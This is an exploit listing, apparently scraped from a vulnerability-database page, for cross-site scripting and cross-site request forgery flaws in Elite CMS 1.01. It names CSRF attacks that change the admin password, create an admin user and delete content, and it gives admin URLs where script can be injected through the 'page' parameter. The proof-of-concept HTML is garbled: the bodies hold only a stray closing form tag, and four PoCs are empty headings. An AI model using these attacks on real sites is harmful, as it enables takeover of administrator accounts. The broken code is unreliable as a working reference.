发布 2010-07-10 漏洞条目

Elite CMS 1.01 – Multiple Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities

Exploit Source

# Name: Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities

# Author: 10n1z3d <10n1z3d[at]w[dot]cn>

# Date: Sat 10 Jul 2010 08:05:44 PM EEST

# Vendor: http://elitecms.net/

# Download: http://elitecms.net/download.php?download=eliteCMS

-=[ CSRF PoC 1 - Change Admin Password ]=-

<html>

<head>

<title>Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities - Change Admin Password</title>

</head>

<body>

</form>

</body>

</html>

-=[ CSRF PoC 2 - Create Admin User ]=-

<html>

<head>

<title>Elite CMS 1.01 Multiple XSS/CSRF Vulnerabilities - Create Admin User</title>

</head>

<body>

</form>

</body>

</html>

-=[ CSRF PoC 3 - Delete User ]=-

-=[ CSRF PoC 4 - Delete Page ]=-

-=[ CSRF PoC 5 - Delete Post ]=-

-=[ CSRF PoC 6 - Logout The Administrator ]=-

-=[ XSS ]=-

http://[domain]/admin/edit_page.php?page=1[XSS]

http://[domain]/admin/edit_post.php?page=1[XSS]

http://[domain]/admin/add_post.php?page=1[XSS]

Also all of the text fields in the administration panel accept xss code.

Not so l33t huh?

Visit us at http://www.evilzone.org/.

相关漏洞条目